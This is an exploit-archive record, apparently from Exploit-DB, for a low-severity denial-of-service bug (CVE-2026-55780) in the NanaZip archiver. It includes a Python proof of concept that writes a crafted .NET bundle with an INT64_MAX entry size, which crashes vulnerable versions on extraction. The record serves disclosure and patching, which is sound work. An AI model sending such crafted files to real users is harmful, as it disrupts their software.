{"exploit":{"id":"EDB-52652","name":"M2Team NanaZip 6.5 - Denial of Service (DoS) (1)","description":"M2Team NanaZip 6.5 - Denial of Service (DoS) (1)","cves":["CVE-2026-55780"],"author":"Jorge González Milla","published":"2026-08-17","platform":"windows","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52652","path":"exploits/windows/dos/52652.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52652.txt","vulnerabilities":[{"id":"CVE-2026-55780","state":"PUBLISHED","title":"NanaZip: Uncaught exception / unbounded allocation in NanaZip .NET single-file Extract() via unvalidated entry Size","titleSource":"CVE Program","description":"NanaZip is the 7-Zip derivative intended for the modern Windows experience. Prior to 6.5.1749.0, NanaZip's .NET single-file bundle handler in NanaZip.Codecs.Archive.DotNetSingleFile.cpp sizes its extraction buffer from the bundle entry Size field, which is only checked for sign and is not validated against the real file size. A crafted bundle can cause an attacker-chosen allocation inside Extract, where std::bad_alloc or std::length_error can escape across the COM STDMETHODCALLTYPE boundary and crash the process. This issue is fixed in version 6.5.1749.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55780","cvss":{"version":"4.0","baseScore":2.4,"severity":"low","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55780"},"updatedAt":"2026-07-13T18:14:24.210Z","retrievedAt":"2026-11-25T16:13:47.187Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52652.png?v=2","url":"https://exploitbin.com/exploits/EDB-52652","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52652/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52652/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: NanaZip 6.5  -  DoS\n\n# Date: 2026-07-17\n\n# Exploit Author: Pig-Tail (Jorge González Milla)\n\n# Vendor Homepage: https://github.com/M2Team/NanaZip\n\n# Software Link: https://github.com/M2Team/NanaZip/releases\n\n# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)\n\n# Tested on: Windows\n\n# CVE: CVE-2026-55780\n\n# Category: dos\n\n# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip\n\n\n\nA crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract().\n\n\n\nNOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source\n\n(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but\n\nwas not executed against a running build. Benign — it only generates the malformed carrier file.\n\n\n\n--- PoC generator (GHSA-ppm9-5267-rq72.py) ---\n\n#!/usr/bin/env python3\n\n# PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET\n\n# single-file Extract() (GHSA-ppm9-5267-rq72).\n\n#\n\n# A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10\n\n# preceded by an int64 bundle-header offset at offset 2, then a v1 header\n\n# declaring one embedded file with Size = INT64_MAX. Extracting that entry makes\n\n# DotNetSingleFile::Extract run std::vector(Size) with no try/catch\n\n# (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across\n\n# the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.)\n\nimport struct\n\n\n\nSIG = bytes([\n\n    0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,\n\n    0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,\n\n    0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,\n\n    0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae,\n\n])\n\nHDR = 42  # bundle header offset\n\n\n\nbuf = bytearray(74)\n\nbuf[0:2]   = b\"MZ\"\n\nbuf[2:10]  = struct.pack(\"<q\", HDR)   # int64 header offset (read at sig-8)\n\nbuf[10:42] = SIG                       # signature at i = 10\n\n\n\no = HDR\n\nstruct.pack_into(\"<I\", buf, o, 1); o += 4                    # MajorVersion = 1 (<2)\n\nstruct.pack_into(\"<I\", buf, o, 0); o += 4                    # MinorVersion = 0\n\nstruct.pack_into(\"<i\", buf, o, 1); o += 4                    # NumberOfEmbeddedFiles = 1\n\nbuf[o] = 0; o += 1                                           # BundleIdLength = 0\n\nstruct.pack_into(\"<q\", buf, o, HDR);                o += 8   # Entry.Offset (>0)\n\nstruct.pack_into(\"<q\", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8   # Entry.Size = INT64_MAX\n\nbuf[o] = 0;        o += 1                                    # Entry.Type = 0\n\nbuf[o] = 0x01;     o += 1                                    # RelativePathLength = 1\n\nbuf[o] = ord(\"a\"); o += 1                                    # RelativePath = \"a\"\n\n\n\nwith open(\"poc.bundle\", \"wb\") as f:\n\n    f.write(buf)\n\nprint(len(buf), \"bytes ->\", \"poc.bundle\")","sha256":"41188d04da35592cd810b386407c9e036683f3f394bb60add2898100e0b5072e","bytes":3164,"fetchedAt":"2026-11-26T08:53:56.229Z","encoding":"utf-8 (display only; download retains original bytes)"}